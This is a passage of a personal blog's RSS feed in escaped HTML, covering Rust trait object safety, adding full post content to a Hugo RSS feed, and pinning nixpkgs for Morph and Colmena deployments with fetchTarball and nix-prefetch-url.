Vec&amp;lt;Box&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;dyn&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Increment&amp;gt;&amp;gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;items.into_iter().map(|i|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;i.increment()).collect()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// ERROR: `Increment` cannot be made into an object&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// note: for a trait to be &amp;#34;object safe&amp;#34; it needs to allow building a vtable to&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// allow the call to be resolvable dynamically&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In Rust, grouping values by trait rather than type is done through dynamic&#xA;dispatch.&#xA;Types like &lt;code&gt;Box&lt;/code&gt;, &lt;code&gt;Arc&lt;/code&gt;, and so forth allow pointers to the data to be stored&#xA;along with pointers to the behavior related to that data, known as a &lt;strong&gt;vtable&lt;/strong&gt;.&#xA;The compiler doesn&amp;rsquo;t necessarily know the types of all implementers of&#xA;&lt;code&gt;Increment&lt;/code&gt; at the time &lt;code&gt;increment_all&lt;/code&gt; is being generated, so monomorphization&#xA;isn&amp;rsquo;t an option.&lt;/p&gt;&#xA;&lt;p&gt;An object-safe version of &lt;code&gt;Increment&lt;/code&gt; would take &lt;code&gt;&amp;amp;mut self&lt;/code&gt; and modify the&#xA;&lt;code&gt;Counter&lt;/code&gt;, &lt;code&gt;Turnstyle&lt;/code&gt;, or whatever other value in place, much like a Java&#xA;method with similar functionality.&lt;/p&gt;&#xA;&lt;p&gt;For that reason, all the functions in a trait that&amp;rsquo;s being used to define a&#xA;trait object (like &lt;code&gt;&amp;amp;dyn Increment&lt;/code&gt;, &lt;code&gt;Box&amp;lt;dyn Increment&amp;gt;&lt;/code&gt;, etc.) must take&#xA;pointer receivers, like &lt;code&gt;&amp;amp;self&lt;/code&gt;, &lt;code&gt;Box&amp;lt;Self&amp;gt;&lt;/code&gt;, and so forth.&lt;/p&gt;&#xA;&lt;p&gt;This is why I say we should only call associated functions that would be object&#xA;safe &amp;ldquo;methods&amp;rdquo;.&#xA;They are the associated functions that could be used in an &amp;ldquo;object-oriented&amp;rdquo; way,&#xA;both in that they work with what we call &amp;ldquo;objects&amp;rdquo; in Rust,&#xA;and in that they can be used in the dynamic way that &amp;ldquo;method&amp;rdquo; often connotes&#xA;in object-oriented languages.&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;The Rust Reference &lt;a href=&#34;https://doc.rust-lang.org/reference/items/associated-items.html#associated-functions-and-methods&#34;&gt;6.15 Associated Items - Associated functions and methods&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;Rust by Example &lt;a href=&#34;https://doc.rust-lang.org/rust-by-example/fn/methods.html&#34;&gt;9.1 Associated functions &amp;amp; Methods&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;The Rust Reference &lt;a href=&#34;https://doc.rust-lang.org/reference/items/traits.html#object-safety&#34;&gt;6.11 Traits - Object Safety&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Adding Full Post Content to my RSS Feed</title>
      <link>https://nora.codes/post/adding-full-post-content-to-my-rss-feed/</link>
      <pubDate>Tue, 27 Feb 2024 09:26:52 -0600</pubDate>
      <guid>https://nora.codes/post/adding-full-post-content-to-my-rss-feed/</guid>
      <description>&lt;p&gt;A reader reached out to me the other day to let me know that my RSS feed for&#xA;this blog didn&amp;rsquo;t include post content, just descriptions, and that this hindered&#xA;their ability to read my posts offline.&#xA;This obviously isn&amp;rsquo;t ideal, so I set about adding the full post content.&lt;/p&gt;&#xA;&lt;h2 id=&#34;customizing-the-rss-feed&#34;&gt;Customizing the RSS Feed&lt;/h2&gt;&#xA;&lt;p&gt;Hugo comes with a builtin RSS feed template, but it&amp;rsquo;s easy enough to override.&#xA;Simply copy the contents of &lt;a href=&#34;https://github.com/gohugoio/hugo/blob/master/tpl/tplimpl/embedded/templates/_default/rss.xml&#34;&gt;this&#xA;file&lt;/a&gt;&#xA;to the &lt;code&gt;themes/[theme name]/layouts/_default&lt;/code&gt; directory, and then edit to your&#xA;heart&amp;rsquo;s content.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;A reader reached out to me the other day to let me know that my RSS feed for&#xA;this blog didn&amp;rsquo;t include post content, just descriptions, and that this hindered&#xA;their ability to read my posts offline.&#xA;This obviously isn&amp;rsquo;t ideal, so I set about adding the full post content.&lt;/p&gt;&#xA;&lt;h2 id=&#34;customizing-the-rss-feed&#34;&gt;Customizing the RSS Feed&lt;/h2&gt;&#xA;&lt;p&gt;Hugo comes with a builtin RSS feed template, but it&amp;rsquo;s easy enough to override.&#xA;Simply copy the contents of &lt;a href=&#34;https://github.com/gohugoio/hugo/blob/master/tpl/tplimpl/embedded/templates/_default/rss.xml&#34;&gt;this&#xA;file&lt;/a&gt;&#xA;to the &lt;code&gt;themes/[theme name]/layouts/_default&lt;/code&gt; directory, and then edit to your&#xA;heart&amp;rsquo;s content.&lt;/p&gt;&#xA;&lt;p&gt;By default, the post-related part of this feed looks something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;item&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;{{ .Title }}&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;link&amp;gt;&lt;/span&gt;{{ .Permalink }}&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/link&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;pubDate&amp;gt;&lt;/span&gt;{{ .Date.Format &amp;#34;Mon, 02 Jan 2006 15:04:05 -0700&amp;#34; | safeHTML }}&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/pubDate&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {{- with $authorEmail }}&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;author&amp;gt;&lt;/span&gt;{{ . }}{{ with $authorName }} ({{ . }}){{ end }}&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/author&amp;gt;&lt;/span&gt;{{ end }}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;guid&amp;gt;&lt;/span&gt;{{ .Permalink }}&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/guid&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;description&amp;gt;&lt;/span&gt;{{ .Summary | transform.XMLEscape | safeHTML }}&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/description&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;lt;/item&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In Hugo, post content is available in &lt;code&gt;.Content&lt;/code&gt;.&#xA;It&amp;rsquo;s tempting to simply change the &lt;code&gt;&amp;lt;description&amp;gt;&lt;/code&gt; tag:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#fdd&#34;&gt;- &amp;lt;description&amp;gt;{{ .Summary | transform.XMLEscape | safeHTML }}&amp;lt;/description&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#dfd&#34;&gt;+ &amp;lt;description&amp;gt;{{ .Content | transform.XMLEscape | safeHTML }}&amp;lt;/description&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;but there is a better way: &lt;code&gt;&amp;lt;content:encoded&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-content-namespace&#34;&gt;The content: Namespace&lt;/h2&gt;&#xA;&lt;p&gt;The default Atom XML namespace doesn&amp;rsquo;t provide a way to have both a post&#xA;description and the full post content, but there is a namespace that does:&#xA;the &lt;a href=&#34;https://www.feedforall.com/content.html&#34;&gt;Content Namespace Extension&lt;/a&gt;.&#xA;Adding this name space is easy; simply change the opening &lt;code&gt;rss&lt;/code&gt; tag to include&#xA;it:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#fdd&#34;&gt;- &amp;lt;rss version=&amp;#34;2.0&amp;#34; xmlns:atom=&amp;#34;http://www.w3.org/2005/Atom&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#dfd&#34;&gt;+ &amp;lt;rss version=&amp;#34;2.0&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#dfd&#34;&gt;+    xmlns:atom=&amp;#34;http://www.w3.org/2005/Atom&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#dfd&#34;&gt;+    xmlns:content=&amp;#34;http://purl.org/rss/1.0/modules/content/&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and then, within the &lt;code&gt;&amp;lt;item&amp;gt;&lt;/code&gt;, add a tag that contains the URL-encoded content:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &amp;lt;item&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &amp;lt;title&amp;gt;{{ .Title }}&amp;lt;/title&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &amp;lt;link&amp;gt;{{ .Permalink }}&amp;lt;/link&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &amp;lt;pubDate&amp;gt;{{ .Date.Format &amp;#34;Mon, 02 Jan 2006 15:04:05 -0700&amp;#34; | safeHTML }}&amp;lt;/pubDate&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     {{- with $authorEmail }}&amp;lt;author&amp;gt;{{ . }}{{ with $authorName }} ({{ . }}){{ end }}&amp;lt;/author&amp;gt;{{ end }}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &amp;lt;guid&amp;gt;{{ .Permalink }}&amp;lt;/guid&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &amp;lt;description&amp;gt;{{ .Summary | transform.XMLEscape | safeHTML }}&amp;lt;/description&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#dfd&#34;&gt;+    &amp;lt;content:encoded&amp;gt;{{ .Content | transform.XMLEscape | safeHTML }}&amp;lt;/content:encoded&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &amp;lt;/item&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This way, RSS readers can display the post description in their feeds/lists, but&#xA;can still get access to the full post content and make it available to readers&#xA;offline.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Pinning nixpkgs with Morph and Colmena</title>
      <link>https://nora.codes/post/pinning-nixpkgs-with-morph-and-colmena/</link>
      <pubDate>Sun, 18 Feb 2024 17:55:24 -0600</pubDate>
      <guid>https://nora.codes/post/pinning-nixpkgs-with-morph-and-colmena/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve used &lt;a href=&#34;https://nixos.org/&#34;&gt;NixOS&lt;/a&gt; and &lt;a href=&#34;https://github.com/DBCDK/morph&#34;&gt;Morph&lt;/a&gt; to manage the servers in my house for about a year now,&#xA;and while I have many gripes with both the Nix language&#xA;and the documentation around the nixpkgs and NixOS ecosystem,&#xA;it&amp;rsquo;s been a great help.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This post is for users of &lt;a href=&#34;https://github.com/DBCDK/morph&#34;&gt;Morph&lt;/a&gt; and its near-drop-in replacement, &lt;a href=&#34;https://github.com/zhaofengli/colmena&#34;&gt;Colmena&lt;/a&gt;.&#xA;If you don&amp;rsquo;t already use one of these tools, take a look at them first!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;why-pin-nixpkgs&#34;&gt;Why Pin nixpkgs?&lt;/h2&gt;&#xA;&lt;p&gt;&amp;ldquo;Pinning&amp;rdquo;, in this context, refers to making the version of nixpkgs against which my configuration is built&#xA;an explicit argument, written down and version controlled,&#xA;rather than an implicit feature of whatever machine the build is run on and its Nix channels.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I&amp;rsquo;ve used &lt;a href=&#34;https://nixos.org/&#34;&gt;NixOS&lt;/a&gt; and &lt;a href=&#34;https://github.com/DBCDK/morph&#34;&gt;Morph&lt;/a&gt; to manage the servers in my house for about a year now,&#xA;and while I have many gripes with both the Nix language&#xA;and the documentation around the nixpkgs and NixOS ecosystem,&#xA;it&amp;rsquo;s been a great help.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This post is for users of &lt;a href=&#34;https://github.com/DBCDK/morph&#34;&gt;Morph&lt;/a&gt; and its near-drop-in replacement, &lt;a href=&#34;https://github.com/zhaofengli/colmena&#34;&gt;Colmena&lt;/a&gt;.&#xA;If you don&amp;rsquo;t already use one of these tools, take a look at them first!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;why-pin-nixpkgs&#34;&gt;Why Pin nixpkgs?&lt;/h2&gt;&#xA;&lt;p&gt;&amp;ldquo;Pinning&amp;rdquo;, in this context, refers to making the version of nixpkgs against which my configuration is built&#xA;an explicit argument, written down and version controlled,&#xA;rather than an implicit feature of whatever machine the build is run on and its Nix channels.&lt;/p&gt;&#xA;&lt;p&gt;For a long time, I used &lt;a href=&#34;https://nixos.wiki/wiki/Nix_channels&#34;&gt;Nix channels&lt;/a&gt; to manage the versions of packages deployed to my servers.&#xA;This approach has a lot of drawbacks; for example, it&amp;rsquo;s difficult to pin a specific version of a package,&#xA;and it can mean that a simple change requires a full rebuild if the channel has updated.&#xA;Pinning nixpkgs also means that fixing a broken configuration is just a &lt;code&gt;git revert&lt;/code&gt; away, and I can&#xA;share my config with friends with the confidence that they&amp;rsquo;ll get the same result as I did.&lt;/p&gt;&#xA;&lt;p&gt;The breaking poing for me, though, was installing &lt;a href=&#34;https://github.com/nix-community/home-manager&#34;&gt;home-manager&lt;/a&gt; on my laptop,&#xA;which is &lt;em&gt;also&lt;/em&gt; best managed through a Nix channel - and not the same one.&lt;/p&gt;&#xA;&lt;p&gt;My servers run NixOS, meaning I need to use the NixOS-versioned home-manager channel for them.&#xA;On my laptop, though, I gain a lot of useful tools by using the more quick-moving unstable channel.&#xA;Doing both at the same time is a pain, and that gave me the impetus needed to switch to a pinned nixpkgs.&lt;/p&gt;&#xA;&lt;h2 id=&#34;pinning-with-morph&#34;&gt;Pinning with Morph&lt;/h2&gt;&#xA;&lt;p&gt;The easiest way to do this is to simply add a call to &lt;a href=&#34;https://nixos.org/manual/nix/stable/language/builtins.html#builtins-fetchTarball&#34;&gt;&lt;code&gt;builtins.fetchTarball&lt;/code&gt;&lt;/a&gt; to my &lt;a href=&#34;https://github.com/DBCDK/morph&#34;&gt;Morph&lt;/a&gt; network&#xA;(or Colmena hive, see below). My old &lt;code&gt;network.nix&lt;/code&gt; looked like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-nix&#34; data-lang=&#34;nix&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  network = {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Home network&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;felonyspork&amp;#34;&lt;/span&gt; = { ... }: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    imports = [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#00f&#34;&gt;../../common/default.nix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#00f&#34;&gt;../../hosts/felonyspork/configuration.nix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    deployment.targetUser = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    deployment.targetHost = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;felonyspork&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# ... other hosts&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Each host imports &lt;code&gt;common/default.nix&lt;/code&gt;, which contained some configuration for nixpkgs:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-nix&#34; data-lang=&#34;nix&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{ config, pkgs, ... }:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  nixpkgs.config = {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    config.allowUnfree = true;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# ... other configuration&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;fetchTarball&lt;/code&gt; requires two arguments: a URL, and the expected hash of the file at that URL,&#xA;so Nix can tell you if and when it changes.&#xA;To get the current state of the NixOS nixpkgs channel, first ask Git to get the commit ID for you.&#xA;In this example, I am using nixpkgs 23.11,&#xA;but you should use whatever the version is that you&amp;rsquo;re deploying to your servers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ git ls-remote https://github.com/nixos/nixpkgs nixos-23.11&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;84d981bae8b5e783b3b548de505b22880559515f        refs/heads/nixos-23.11&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A simple &lt;code&gt;cut&lt;/code&gt; will get just the hash, which can then be inserted into the GitHub archive URL:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ echo https://github.com/nixos/nixpkgs/archive/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;$(&lt;/span&gt;git ls-remote https://github.com/nixos/nixpkgs nixos-23.11 | cut -f1&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;)&lt;/span&gt;.tar.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://github.com/nixos/nixpkgs/archive/84d981bae8b5e783b3b548de505b22880559515f.tar.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, Nix can prefetch the file, adding it to the Nix store for later use, and emit the hash at the same time.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ nix-prefetch-url --unpack https://github.com/nixos/nixpkgs/archive/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;$(&lt;/span&gt;git ls-remote https://github.com/nixos/nixpkgs nixos-23.11 | cut -f1&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;)&lt;/span&gt;.tar.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;path is &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;/nix/store/wb41vb32nf7748dr42psfgqw4cjc1pyf-84d981bae8b5e783b3b548de505b22880559515f.tar.gz&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0d6j5d31kzfla0x8f64ranp681dhd0hwxihbf3jjpb18cnddxag8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Equipped with these two pieces of information,&#xA;you can add a &lt;code&gt;fetchTarball&lt;/code&gt; invocation in a binding at the top of your &lt;code&gt;network.nix&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-nix&#34; data-lang=&#34;nix&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 